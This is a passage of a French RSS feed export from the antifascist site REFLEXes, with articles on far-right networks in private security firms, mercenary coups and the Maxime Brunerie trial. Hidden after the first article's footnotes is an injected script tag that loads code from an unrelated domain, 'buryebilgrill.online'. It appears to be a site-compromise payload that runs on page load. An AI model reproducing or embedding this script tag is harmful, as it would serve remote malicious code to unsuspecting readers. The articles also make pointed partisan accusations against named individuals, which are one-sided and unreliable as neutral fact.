l&rsquo;est encore plus en raison des déclarations incomplètes, voire fausses ou inexistantes lors de la demande d&rsquo;agrément</em> ». Dix ans plus tard, un nouveau rapport dont <em>Marianne</em><sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_1_235" id="identifier_1_235" class="footnote-link footnote-identifier-link" title="Marianne du 26 octobre 1998. Article sign&eacute; Bernard Morrot. Celui-ci ne donnait pas le nom des entreprises par peur de repr&eacute;sailles judiciaires.">2</a></sup> se fit l&rsquo;écho est venu souligner à quel point l&rsquo;extrême droite avait poursuivi son implantation dans ce milieu professionnel, ce rapport ne portant par ailleurs que sur la région parisienne. Bien sûr, l&rsquo;influence de l&rsquo;ex-OAS ou de l&rsquo;ex-SAC a notablement diminué, les anciens militants de ces mouvements étant peu à peu gagnés par la limite d&rsquo;âge, même pour faire la barbouze. Mais cela s&rsquo;est changé au profit du FN et de ses proches. On retrouvait sans surprise certains noms connus. En vrac : &#8211; Normandy Sécurité : fondée en 1979 par Fernand Loustau, la société a gagné sa réputation en février 1982 en dirigeant une opération commando contre la laiterie Claudel d&rsquo;Isigny visant à récupérer 650 000 camemberts séquestrés par des grévistes. Fernand Loustau fut d&rsquo;ailleurs condamné à trois mois de prison avec sursis pour cette affaire en 1985. Pour le rapporteur de la DCRG, « l&rsquo;obtention de l&rsquo;agrément par cette société douteuse bien connue illustre les difficultés rencontrées par les services préfectoraux face à un dossier bien “ficelé” ». Très proche du FN et ancien président de l&rsquo;Union Nationale Parachutiste, Fernand Loustau a cédé son poste de dirigeant en 1993 à son fils Philippe, ancien du GUD, qui est toujours à la tête de l&rsquo;entreprise. Normandy n&rsquo;a cessé de recruter dans les milieux nationalistes les plus extrêmes et certains de ses employés ont connu une certaine notoriété : Alban Druet et Axel Loustau (le frère !), tous deux anciens du GUD, ont été inquiétés par la police dans le cadre de l&rsquo;enquête sur la tentative d&rsquo;attentat contre Yves Derai de <em>Tribune Juive</em> en 1996<sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_2_235" id="identifier_2_235" class="footnote-link footnote-identifier-link" title="Cf. REFLEXes n&deg;51">3</a></sup>. Axel a par ailleurs été candidat FN aux législatives 1997 dans la 10° circonscription des Hauts-de-Seine et il est actionnaire principal de Riwal avec Frédéric Chatillon<sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_3_235" id="identifier_3_235" class="footnote-link footnote-identifier-link" title="Qui a encore r&eacute;cemment fait parler de lui &agrave; l&rsquo;occasion d&rsquo;un anniversaire &agrave; son domicile puisque Marine Le Pen a daign&eacute; y agresser des policiers venus notifier un tapage nocturne.">4</a></sup> grâce à l&rsquo;acquisition de parts en novembre 1998. Présent au meeting de lancement du Front de la Jeunesse le 04 février 1999, il est également actionnaire de la SARL IDeveloppement, créatrice du site iencheres.com en 2001<sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_4_235" id="identifier_4_235" class="footnote-link footnote-identifier-link" title="Cf. M&eacute;faits &amp; Documents janvier 2002">5</a></sup>. Il a profité de sa situation dans l&rsquo;entreprise pour permettre le recrutement d&rsquo;autres anciens du GUD devenus mercenaires comme Pierre Oldoni<sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_5_235" id="identifier_5_235" class="footnote-link footnote-identifier-link" title="Cf. REFLEXes n&deg;48">6</a></sup>, Yvain Pottiez ou François Robin, décédé mais poursuivi de son vivant pour actes de cannibalisme en Birmanie. Plus récemment, c&rsquo;est sans surprise que l&rsquo;on a appris que Maxime Brunerie travaillait la nuit pour le compte de Normandy. La mise en cause de la société par la presse a bien évidemment provoqué un commentaire indigné de Philippe Loustau sur la probité de son entreprise. Il faut dire que celle-ci a, heureusement pour elle, quelques contrats juteux avec de vrais entreprises et que compter un apprenti assassin de président de la République dans ses rangs n&rsquo;est pas la meilleure publicité que puisse escompter une société de sécurité&#8230; &#8211; ACDS : a priori rien à en dire, l&rsquo;ACDS étant l&rsquo;une des plus grosses sociétés du secteur. Mais l&rsquo;un de ses anciens directeurs délégués, en l&rsquo;occurence d&rsquo;une société de convoyage de fonds, n&rsquo;a été autre que Régis de la Croix Vaubois. Or celui-ci avait déjà un passé politique chargé quand il fut embauché : ancien responsable du FNJ dans le XVI° arrdt en 1990, tête de liste du CNEP aux élections du CROUS en 1991, ex-président du Cercle national de Sciences-Po, candidat FN aux législatives de juin 1997 dans la 3° circonscription de Côte d&rsquo;Or (4121 voix, 10,75 %), élu FN dans la Nièvre et au conseil régional de Bourgogne à partir de 1998&#8230; C&rsquo;est d&rsquo;ailleurs en la présence du fondateur et dirigeant d&rsquo;ACDS qu&rsquo;en février 1998 Jean-Marie Le Pen vint rendre visite à cet élément prometteur du FN qui est également un proche de sa fille Marine. Depuis, La Croix Vaubois s&rsquo;est rabattu sur le cabinet de conseil et de recrutement fondé par sa femme avec l&rsquo;aide de Nathalie Stirbois, fille de Marie-France du même nom et qui fait une partie de sa promotion dans la presse nationaliste. &#8211; Ambassy : cette société n&rsquo;est plus à présenter puisque ses liens avec Gilles Soulas lui ont valu d&rsquo;être maintes fois citée, que ce soit dans <em>REFLEXes</em><sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_6_235" id="identifier_6_235" class="footnote-link footnote-identifier-link" title="Cf. REFLEXes n&deg;52">7</a></sup> ou dans d&rsquo;autres documents (enquête parlementaire sur le DPS par exemple). Elle n&rsquo;existe cependant plus puisqu&rsquo;elle a subi une liquidation judiciaire et une partie des activités de son principal dirigeant, Gilles Sereau, s&rsquo;est reportée sur la boutique parisienne Le seigneur des elfes qui diffuse les figurines de jeux de rôle Games Workshop et vise un public païen proche d&rsquo;Europe-Jeunesse<sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_7_235" id="identifier_7_235" class="footnote-link footnote-identifier-link" title="Organisation scout longtemps tr&egrave;s proche du GRECE et qui s&rsquo;en &eacute;loigne peu &agrave; peu.">8</a></sup> dont la famille Sereau est d&rsquo;ailleurs très proche. Ambassy était tout de même l&rsquo;une des sociétés les plus clairement engagée dans la mouvance nationaliste puisque tous les actionnaires avaient un passé militant très marqué. &#8211; Torann-France : le personnel de cette société s&rsquo;est maintes fois signalée par ses engagements nationalistes et son recours à la violence lors de certaines missions. Les noms de certains de ses employés ont d&rsquo;ailleurs été cités au moment de l&rsquo;enquête parlementaire sur le DPS. &#8211; ERIC SA : Là aussi le personnel de cette société a su se faire une triste réputation et une bonne partie de son personnel est passé par le mercenariat après avoir fait ses classes dans l&rsquo;armée française. Des anciens de cette société sont d&rsquo;ailleurs partis fonder une boîte dont le nom apparaît régulièrement dans certaines affaires africaines : GEOS. L&rsquo;un des cadres de cette société est Jean Heinrich, ancien patron de la Direction du Renseignement Militaire, ce qui facilite bien évidemment les contacts avec les autorités françaises pour tout ce qui concerne l&rsquo;ancien domaine colonial français. L&rsquo;un des actionnaires d&rsquo;ERIC, Jean-Louis Chanas, a été mis en cause par le passé pour son rôle d&rsquo;administrateur de la FSCE, un établissement bancaire accusé de blanchiment. Un autre actionnaire, Vincent Gailhard, grenouille dans diverses sociétés de sécurité dont OST France. Cette société est tout aussi peu discrète que ERIC SA et a par exemple été mise en cause par la justice dans le cadre de la campagne électorale de 1995 d&rsquo;Édouard Balladur. Les prestations d&rsquo;OST auraient alors été payées en espèces pour échapper à la loi sur le financement publique des campagnes électorales. C&rsquo;est d&rsquo;ailleurs à la même occasion que des militants du GUD avaient été rémunérés pour faire des collages pour le challenger de droite de Jacques Chirac. On pourrait également ajouter à cette liste la galaxie des entreprises liées aux frères Courcelles et qui a été bien sûr évoquée au moment de l&rsquo;enquête parlementaire sur le FN ou certaines sociétés comme Pretory ou Body Sécurité qui ont eu récemment pour leur part les honneurs de la presse ou enfin certaines figures de ce milieu, tel l&rsquo;ineffable « capitaine » Paul Barril, grand amateur des ouvrages d&rsquo;Emmanuel Ratier. En outre sont exclues de ce rapport les sociétés qui ne font que fournir du matériel de sécurité. C&rsquo;est en particulier le cas d&rsquo;USMC à Paris dont les responsables sont très proches du FN. Ce fut d&rsquo;ailleurs l&rsquo;une des principales sources d&rsquo;approvisionnement du FN, en particulier en matériel de protection, pour la préparation du 1er mai 2002. L&rsquo;imbrication entre milieux nationalistes et sociétés de sécurité s&rsquo;explique aisément par le goût du risque et la possibilité offerte par cette profession de singer des comportements paramilitaires. Mais cela s&rsquo;explique surtout par le fait que ce secteur a longtemps fonctionné sur l&rsquo;absence de cadres professionnels bien définis. Bien sûr les vrais professionnels ont mis en place dans les années 1980 une charte supposée servir de cadre déontologique. Mais la réalité est toute autre et une faible qualification demeure la norme, en particulier dans le domaine du gardiennage. De fait, la « sécu » a toujours permis le recyclage de militants nationalistes n&rsquo;ayant guère d&rsquo;autres choix professionnels.</p>
<h3>GATEAU !</h3>
<p>Dans le même temps, l&rsquo;extrême droite et le FN en premier lieu ont toujours été de bons clients de ce secteur. L&rsquo;expérience montre en effet que le DPS n&rsquo;était efficace que lorsqu&rsquo;il était encadré par des professionnels de la sécurité, bien moins « frileux » que les militants de base du SO frontiste. Cette situation s&rsquo;est bien sûr renforcée depuis l&rsquo;éclatement du FN et cela a culminé lors du 1er mai 2002. Le cortège frontiste était en effet protégé par le DPS (qui avait d&rsquo;ailleurs fait les fonds de tiroir militants), des supplétifs convoqués par William Bonnefoy et issus des milieux gudards et des boîtes de sécurité. Il en a été de même dans les villes gérées par l&rsquo;extrême droite qui se sont avérées de véritables aubaines pour les sociétés de sécurité. Cela a bien évidemment été particulièrement le cas de Vitrolles. Non seulement le couple Mégret y avait salarié tous les militants travaillant habituellement dans ce secteur, les F.-X. Sidos, Patrick Bunel, Yvain Pottiez, Gérard Le Vert et autres que connaît tout bon militant antifasciste ou encore par exemple Yann-Yves Etienne, ancien militant FN, membre du DPS chargé de la garde permanente du Paquebot jusqu&rsquo;à la scission et recruté début 1999 par Bernard Courcelle pour mener un faux putsch contre Sassou N&rsquo;Guesso, président du Congo, et mouiller ainsi l&rsquo;opposition menée par Pascal Lissouba. Mis en sûreté à Brazzaville à partir du 29 mars 1999 quand 3 mercenaires non DPS sont arrêtés pour justifier l&rsquo;accusation de putsch, il est rapatrié en France et devient militant MNR et DPA, impliqué dans des violences commises contre des militants de Ras l&rsquo;Front lors de la campagne municipale 2001 à Vitrolles. Mais la municipalité a aussi multiplié les contrats juteux. Ce fut le cas de Point Org Sécurité bénéficiaire d&rsquo;un contrat de la mairie de Vitrolles en novembre 2001 commandant une « <em>analyse prévisionnelle du risque terroriste sur la commune de Vitrolles en Provence</em> », pour la somme de 61 192, 92 frs. Mais il est une autre société qui profita de son positionnement politique pour travailler, c&rsquo;est Inter-space Sécurité. Cette société a été fondée et a pour gérante Evelyne Vaudin, conseillère municipale MNR de Salon-de-Provence. Mais lorsqu&rsquo;elle ne milite pas ou ne dirige pas des gros bras, Mme Vaudin s&rsquo;occupe d&rsquo;œuvres caritatives&#8230; Le 19 décembre 2001, 13 mercenaires débarquent sur l&rsquo;île de Mwali, la plus petite des îles des Comores, pour tenter un coup d&rsquo;État, a priori au profit d&rsquo;un ancien ministre comorien et avec l&rsquo;habituelle complaisance des services français. L&rsquo;opération tourne vite au fiasco : 6 mercenaires sont tués sur place et 7 capturés. On trouve de tout parmi ces 13 : des anciens soldats parachutistes, des baroudeurs amateurs proches du MNR ou même d&rsquo;UR pour au moins l&rsquo;un d&rsquo;entre eux&#8230; Dès janvier 2002 se monte une association de défense des familles des victimes de Mwali qui tente venir en aide aux mercenaires incarcérés et à leurs familles. La présidente en est Evelyne Vaudin, l&rsquo;association étant d&rsquo;ailleurs domiciliée au siège d&rsquo;Inter Space Sécurité, et le bureau est composé de proches ou de membres du MNR comme Jean-Philippe Rostagno, conseiller municipal MNR de Salon. Il faut dire que l&rsquo;un des mercenaires tués était le frère de l&rsquo;ancien gérant d&rsquo;Inter Space Sécurité et que les liens sont importants avec certains autres. Les survivants sont rentrés en France en janvier dernier et immédiatement mis en examen. Mais il y a fort à parier que l&rsquo;affaire n&rsquo;aille pas très loin étant donné l&rsquo;importance des zones d&rsquo;ombres existant dans le dossier. Cela démontre juste une fois de plus les liens qui peuvent unir sécurité, mercenariat et extrémisme de droite. Avec souvent la bienveillante complaisance de l&rsquo;État et de ses services de sécurité.</p>
<ol class="footnotes"><li id="footnote_0_235" class="footnote">Parti des Forces Nouvelles, parti ayant succédé à Ordre Nouveau en 1974 et concurrent du FN.</li><li id="footnote_1_235" class="footnote">Marianne du 26 octobre 1998. Article signé Bernard Morrot. Celui-ci ne donnait pas le nom des entreprises par peur de représailles judiciaires.</li><li id="footnote_2_235" class="footnote">Cf. REFLEXes n°51</li><li id="footnote_3_235" class="footnote">Qui a encore récemment fait parler de lui à l&rsquo;occasion d&rsquo;un anniversaire à son domicile puisque Marine Le Pen a daigné y agresser des policiers venus notifier un tapage nocturne.</li><li id="footnote_4_235" class="footnote">Cf. Méfaits &amp; Documents janvier 2002</li><li id="footnote_5_235" class="footnote">Cf. REFLEXes n°48</li><li id="footnote_6_235" class="footnote">Cf. REFLEXes n°52</li><li id="footnote_7_235" class="footnote">Organisation scout longtemps très proche du GRECE et qui s&rsquo;en éloigne peu à peu.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Sur Maxime Brunerie</title>
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		<pubDate>Mon, 13 Dec 2004 11:45:00 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<category><![CDATA[Fabrice Robert]]></category>
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		<description><![CDATA[Posté le 13 décembre 2004 Certains de nos sympathisants se sont étonnés de notre silence concernant le procès de Maxime Brunerie et cet étonnement était mal fondé. Nous avons bien sûr suivi cette actualité judiciaire tout au long des cinq jours qu&#8217;ont duré les débats. Mais il est vrai que nous n&#8217;avons pas vraiment eu [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Posté le 13 décembre 2004</p>
<p>Certains de nos sympathisants se sont étonnés de notre silence concernant le procès de Maxime Brunerie et cet étonnement était mal fondé.</p>
<p>Nous avons bien sûr suivi cette actualité judiciaire tout au long des cinq jours qu&rsquo;ont duré les débats. Mais il est vrai que nous n&rsquo;avons pas vraiment eu l&rsquo;envie ou le temps de faire de longs développements sur cette question. Que dire de plus que nous ayions déjà écrit par le passé ? Le milieu politique qu&rsquo;il fréquentait était susceptible de produire des «apprentis terroristes» comme lui ? Nous l&rsquo;avions déjà écrit en 2001 (<em>REFLEXes</em> n°3). Son acte était relativement peu politique et largement influencé par une personnalité fragile et déséquilibrée ? Nous l&rsquo;avions également déjà écrit en 2002 (<em>REFLEXes</em> n°5). Bref, ce procès ne sera pas venu bouleverser notre vision des choses.</p>
<p>Par contre il aura amplement confirmé certains points :<br />
- La dimension politique a été largement évacuée par la justice qui n&rsquo;a pas pris la peine de convoquer un responsable du MNR. La seule figure de la droite nationaliste était donc Fabrice Robert dont le témoignage n&rsquo;a rien apporté aux débats puisque la présidente ou l&rsquo;avocat général ne l&rsquo;ont même pas cuisiné sur l&rsquo;ambiance qui pouvait régner à Unité Radicale et qui était susceptible d&rsquo;avoir influencé Brunerie. Le seul aspect positif de cet effacement du politique est que cela nous aura évité les envolées enflammées des journalistes sur le «danger fasciste»&#8230;<br />
- L&rsquo;extrême droite est bien un milieu caractérisé par une certaine fragilité psychologique comme l&rsquo;ont prouvé l&rsquo;accoutrement de certains spectateurs (un ancien du GUD a assisté tous les jours au procès dans une veste camouflage tout à fait adaptée au milieu confiné de la Cour d&rsquo;Assises !!!) ou les interventions de certains témoins. Deux peuvent être retenues à cet égard : celle de Gwenael Hermel et celle de Cyril Bozonnet. Si le premier, qui était militant du GUD et animait la revue <em>Jusqu&rsquo;à nouvel ordre</em>, a finalement révélé un profil relativement similaire à celui de Brunerie, le deuxième est venu démontrer qu&rsquo;en toute chose, et en particulier en politique, il valait mieux choisir correctement ses copains. Or Bozonnet aura enfoncé Maxime B. comme Ayoub «Batskin» avait enfoncé Régis Kerhuel il y a deux ans dans l&rsquo;affaire du Havre. Quand on sait que ledit Bozonnet est, depuis 2003, retourné au Front National dont il est l&rsquo;un des responsables du 1er arrdt de Paris et pour qui il infiltre plus ou moins l&rsquo;Union Nationale des Combattants, cela donne une bonne image de ce qu&rsquo;est la «grande famille nationaliste»&#8230;</p>
<p>Pour finir, constatons finalement que les jurés ont eu la main lourde et qu&rsquo;il ne fait pas bon toucher au «président de tous les Français» et aux autorités d&rsquo;une façon générale. Avis aux amateurs !</p>
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		<title>« Chirac n&#8217;aurait rien risqué s&#8217;il avait été en prison… »</title>
		<link>https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/</link>
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		<pubDate>Thu, 08 Jan 2004 11:10:20 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[Alexandre Del Valle]]></category>
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		<category><![CDATA[Unité radicale (UR)]]></category>

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		<description><![CDATA[Que restera-t-il de la tragi-comédie de cet été sinon cette citation très juste d'un mel posté par un sympathisant nationaliste sur le forum du site Unite-radicale.com le 15 juillet ? Trois mois après, on peut commencer à tirer quelques conclusions de l'affaire même si elle est loin d'être terminée : le procès promet en effet d'être un épisode assez gratiné. Que nous a inspiré cette triste histoire ? ]]></description>
				<content:encoded><![CDATA[<p>Que restera-t-il de la tragi-comédie de cet été sinon cette citation très juste d&rsquo;un mel posté par un sympathisant nationaliste sur le forum du site Unite-radicale.com le 15 juillet ? Trois mois après, on peut commencer à tirer quelques conclusions de l&rsquo;affaire même si elle est loin d&rsquo;être terminée : le procès promet en effet d&rsquo;être un épisode assez gratiné. Que nous a inspiré<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_0_184" id="identifier_0_184" class="footnote-link footnote-identifier-link" title="cf. No Pasaran, septembre 2002.">1</a></sup> cette triste histoire ?</p>
<p>SUR MAXIME BRUNERIE</p>
<p>Interrogé par une journaliste de <em>Libération</em> au lendemain de la tentative d&rsquo;attentat, un de nos militants affirma que « Brunerie était un cramé », affirmation à laquelle les porte-parole d&rsquo;UR répondirent indirectement dans un communiqué en déclarant que « jusqu&rsquo;à ce 14 juillet 2002, Maxime Brunerie était un jeune militant identitaire comme beaucoup d&rsquo;autres : enthousiaste, déterminé et sérieux. » Réponse qui nous fit bien rire. Car s&rsquo;il y avait bien un militant typique du profil psychologique que l&rsquo;on peut parfois rencontrer aux extrêmes de l&rsquo;échiquier politique (nous en savons quelque chose pour ce qui concerne notre propre mouvance !), c&rsquo;était lui, avec sa mythomanie, son désir de reconnaissance, sa surenchère (racialiste en l&rsquo;occurrence), bref sa tentative inconsciente de régler des problèmes personnels en s&rsquo;inventant une nouvelle famille. Ce qu&rsquo;on peut appeler « un militant identitaire comme beaucoup d&rsquo;autres » finalement ! C&rsquo;est en gardant cette dimension humaine en tête qu&rsquo;on peut mieux apprécier son passé militant, assez classique<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_1_184" id="identifier_1_184" class="footnote-link footnote-identifier-link" title="Tout aussi classique est le fait qu&rsquo;il travaillait pour une soci&eacute;t&eacute; de s&eacute;curit&eacute;, Normandy, dont le patron, Axel Loustau, avait eu l&rsquo;insigne honneur d&rsquo;&ecirc;tre impliqu&eacute; dans l&rsquo;enqu&ecirc;te sur la tentative d&rsquo;attentat contre le directeur de Tribune juive en 1996 aux c&ocirc;t&eacute;s d&rsquo;autres anciens gudards comme Fr&eacute;d&eacute;ric Chatillon ou Antoine Roucheray. cf. REFLEXes n&deg;52, automne 1998.">2</a></sup> pour le petit milieu radical parisien, mais qui montre une instabilité politique évidente : hooligan du PSG, en contact avec les débris du PNFE puis gudard dans le sillage de la génération 1998-2000 puis UR et MNR… La seule cohérence dans cet itinéraire est sans doute la xénophobie et c&rsquo;est sans doute également le seul élément « rationnel » qui explique le choix de Jacques Chirac comme cible. Cela réduit presque totalement la portée politique de son acte, surtout si l&rsquo;on y ajoute son âge (25 ans !) et l&rsquo;aspect sentimental révélé au grand public par <em>VSD</em> et qui n&rsquo;est pas une invention<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_2_184" id="identifier_2_184" class="footnote-link footnote-identifier-link" title="Toujours &agrave; l&rsquo;aff&ucirc;t, il semble d&rsquo;ailleurs que Canal + veuille faire un reportage sur Maxime Brunerie et &laquo; Aur&eacute;lie &raquo;, pr&eacute;nom de substitution attribu&eacute; par VSD &agrave; cette militante du MNJ et MNR.">3</a></sup> de journaliste en mal de scoop.</p>
<p>Quelques jours après son arrestation, plusieurs textes ont circulé sur Internet pour dénoncer une manipulation. Ils s&rsquo;appuyaient sur quelques évidences simples :</p>
<p>• Un individu psychologiquement fragile peut être facilement manipulable ;</p>
<p>• Les « services » (comme on dit) ont plus d&rsquo;un tour dans leur sac pour manipuler quelqu&rsquo;un, ils l&rsquo;ont montré par le passé ;</p>
<p>• Le gouvernement au pouvoir ne pouvait que bénéficier d&rsquo;une tentative ratée comme celle du 14 juillet.</p>
<p>Dans ce scénario à la Oswald, les auteurs de ces textes pointaient par ailleurs certaines contradictions ou éléments troublants concernant les premiers flashs d&rsquo;information, les premiers reportages de la télévision ou les circonstances de l&rsquo;arrestation. Soit. Pourquoi pas ? Mais il y a fort à parier que Maxime Brunerie n&rsquo;a eu besoin de personne pour tenter ce qu&rsquo;il a fait, étant donné son profil psychologique et nous privilégions pour notre part ce cas de figure. C&rsquo;est d&rsquo;ailleurs le scénario que nous envisagions dans <em>REFLEXes</em> n°3 (été 2001) consacré au terrorisme d&rsquo;extrême droite. Nous avons eu hélas raison.</p>
<p>SUR UR ET LA VIOLENCE</p>
<p>Les quinze jours qui ont suivi ont donné lieu à une flambée d&rsquo;articles, de retours en arrière, de « focus » divers et variés de la part de journalistes besogneux<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_3_184" id="identifier_3_184" class="footnote-link footnote-identifier-link" title="Le comble a &eacute;t&eacute; atteint par le verbatim de Christiane Chombeau dans Le Monde du 16 juillet dans laquelle la journaliste recycle des notes prises par elle le 22 septembre 2001 lors des Assises de la Radicalit&eacute; tenues &agrave; Paris par UR. Outre l&rsquo;aspect tr&egrave;s limite du proc&eacute;d&eacute;, l&rsquo;ensemble p&ecirc;che par le fait qu&rsquo;&eacute;tant nous-m&ecirc;mes pr&eacute;sents lors de ces assises, nous n&rsquo;y avons pas entendu les appels au meurtre attribu&eacute;s par la journaliste aux intervenants, ce qui n&rsquo;exclut pas le fait qu&rsquo;ils aient pu &ecirc;tre tenus par des personnes dans la salle. Alors, probl&egrave;me d&rsquo;audition ou d&rsquo;invention ? En m&ecirc;me temps, cette petite anecdote montre qu&rsquo;&agrave; force de rechercher les projecteurs m&eacute;diatiques, UR a pu se rendre compte de ce que cela signifiait. Le vieux gag de l&rsquo;arroseur arros&eacute; en quelque sorte&hellip;">4</a></sup> qui avaient globalement arrêté de suivre cette mouvance depuis quelques années. Ils ont donc essayé de remettre à jour leurs petites fiches de documentation en puisant à deux sources : Internet et les RG. Cela nous a donc valu quelques solides pensum sur la mouvance néo-nazie en France, son histoire, son importance, etc. avec parfois quelques perles comme un article du Figaro ressuscitant le PNFE, Christophe Bourseiller promouvant sa nouvelle escroquerie sur France Info<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_4_184" id="identifier_4_184" class="footnote-link footnote-identifier-link" title="La nouvelle extr&ecirc;me droite, r&eacute;&eacute;dition par Le Rocher en mai de cette ann&eacute;e d&rsquo;un livre creux publi&eacute; en 1991 et intitul&eacute; Extr&ecirc;me droite, l&rsquo;enqu&ecirc;te. L&agrave; o&ugrave; il y a escroquerie, c&rsquo;est qu&rsquo;&agrave; part une introduction de neuf pages torch&eacute;e pour donner un peu de cr&eacute;dibilit&eacute; &agrave; la nouveaut&eacute; de l&rsquo;opus, les deux &eacute;ditions sont rigoureusement identiques ! Mais cela permet &agrave; notre Hibernatus de l&rsquo;extr&ecirc;me droite de passer pour un sp&eacute;cialiste &agrave; la radio. CQFD !">5</a></sup> ou <em>Prochoix</em> assurant la promotion de sa spécialiste ès « mobilisations de l&rsquo;entre-soi » Fiametta Venner. Las ! Ce battage médiatique en plein de mois de juillet, mois creux pour l&rsquo;actualité s&rsquo;il en est, n&rsquo;aura finalement permis qu&rsquo;à une petite structure d&rsquo;une centaine d&rsquo;adhérents et guère le double de sympathisants de sortir de l&rsquo;anonymat. Ce dont elle rêve depuis toujours et que même des provocations multiples comme la venue du semi-jobard Horst Mahler en mars 2002 à Paris ne lui ont pas permis d&rsquo;atteindre. Un bon moyen de masquer cette relative vacuité a été de tonitruer sur la violence d&rsquo;UR, violence qui serait inscrite au coeur même de l&rsquo;organisation. Cela a bien évidemment provoqué des protestations indignées des porte-parole d&rsquo;UR, jurant la main sur le coeur que l&rsquo;on se méprenait et que pour elle, « l&rsquo;action terroriste (…) ne saurait constituer une solution à la crise politique et morale que traverse la France ». Bien, bien. Hélas pour Fabrice Robert et Guillaume Luyt, la réalité d&rsquo;UR et plus généralement de sa mouvance depuis deux ou trois décennies vient démentir cette belle condamnation. Pour se limiter dans le temps, nous ne rappellerons pas les faits d&rsquo;armes du GUD Paris de 1998 à 2000 alors que ce groupe était officiellement partie prenante d&rsquo;UR<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_5_184" id="identifier_5_184" class="footnote-link footnote-identifier-link" title="Cf. B&ecirc;tes et m&eacute;chants. Petite histoire des jeunes fascistes fran&ccedil;ais, &Eacute;ditions REFLEX, 2001">6</a></sup> mais on ne voit pas trop comment on pourrait appeler cela sinon de l&rsquo;action violente, à défaut d&rsquo;être terroriste. Mais plus que des actes, UR a surtout toujours drainé avec elle des cohortes d&rsquo;adhérents ou sympathisants fascinés par cette violence. Certains sont passés à l&rsquo;acte, la plupart non. Mais on peut affirmer que des individus aussi peu équilibrés que Frédéric Merra<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_6_184" id="identifier_6_184" class="footnote-link footnote-identifier-link" title="Il s&rsquo;agit d&rsquo;un sympathisant d&rsquo;UR &agrave; Nice, abonn&eacute; au journal, ayant effectu&eacute; un stage paramilitaire au Liban il y a quelques ann&eacute;es dans les milieux islamistes. Ce charmant jeune homme a &eacute;t&eacute; arr&ecirc;t&eacute; le 10 novembre 2001 pour avoir tir&eacute; &agrave; bout portant au gum-cogne contre un p&egrave;re de famille dont la petite fille avait &eacute;t&eacute; effray&eacute;e par son chien. ">7</a></sup> étaient assez représentatifs d&rsquo;une bonne fraction des sympathisants d&rsquo;UR, tout comme la famille Roudier<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_7_184" id="identifier_7_184" class="footnote-link footnote-identifier-link" title="Le p&egrave;re, Richard Roudier, &eacute;tait membre de la direction d&rsquo;UR sous le pseudonyme de Jorgi Roumegas et participe &agrave; la revue Monts&eacute;gur. Il a d&eacute;j&agrave; &eacute;t&eacute; condamn&eacute; pour violences par le pass&eacute;, tout comme l&rsquo;un de ses deux fils, Olivier.">8</a></sup>, les militants du GUD Nice ou encore les boneheads de Limoges gravitant autour du groupe Lemovice… Force est de constater qu&rsquo;UR n&rsquo;a jamais rien fait pour bannir cet aspect des choses si pratique pour attirer des adhérents ou sympathisants, comme en témoigne le matériel produit par l&rsquo;organisation ou ses satellites (<em>cf.</em> les couvertures de magazines ci-contre) ou le contenu de certains articles : interview de Carlos, soutien au terrorisme du Hamas, etc. La remarque vaut pour le groupe musical de Fabrice Robert, Fraction.</p>
<p>Entendons-nous bien : ce n&rsquo;est pas la violence réelle ou supposée d&rsquo;UR que nous attaquons ici en l&rsquo;occurrence mais bien le fait que voir UR dans le rôle du pompier incendiaire nous fait bien rire. Nous avons en effet toujours pensé que la violence politique était un moyen parmi d&rsquo;autres (contre les fafs par exemple !) et qu&rsquo;elle était parfois nécessaire sans être toutefois évidemment souhaitable. Encore faut-il l&rsquo;assumer. Condamner le folklore nazi tout en étant le principal chef d&rsquo;orchestre<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_8_184" id="identifier_8_184" class="footnote-link footnote-identifier-link" title="Au figur&eacute; tout autant qu&rsquo;au propre puisque le groupe de Fabrice Robert, Fraction, n&rsquo;a jamais rechign&eacute; &agrave; jouer avec des groupes ouvertement nazis ou m&ecirc;me &agrave; reprendre certains titres de ces derniers.">9</a></sup> de ce folklore est une posture dans laquelle les porte-parole d&rsquo;UR semblent être passé maîtres, comme en témoigne l&rsquo;intervention très virulente de Guillaume Luyt au congrès du MNR en février dernier. C&rsquo;est sans doute ce qu&rsquo;on peut reprocher le plus à la presse par rapport à la campagne de l&rsquo;été dernier : avoir pris tout ce petit monde et ce qu&rsquo;il disait au sérieux. Le sensationnalisme n&rsquo;excuse pas tout et la manipulation politique n&rsquo;est jamais très loin, nous aurons l&rsquo;occasion d&rsquo;y revenir un peu plus loin !</p>
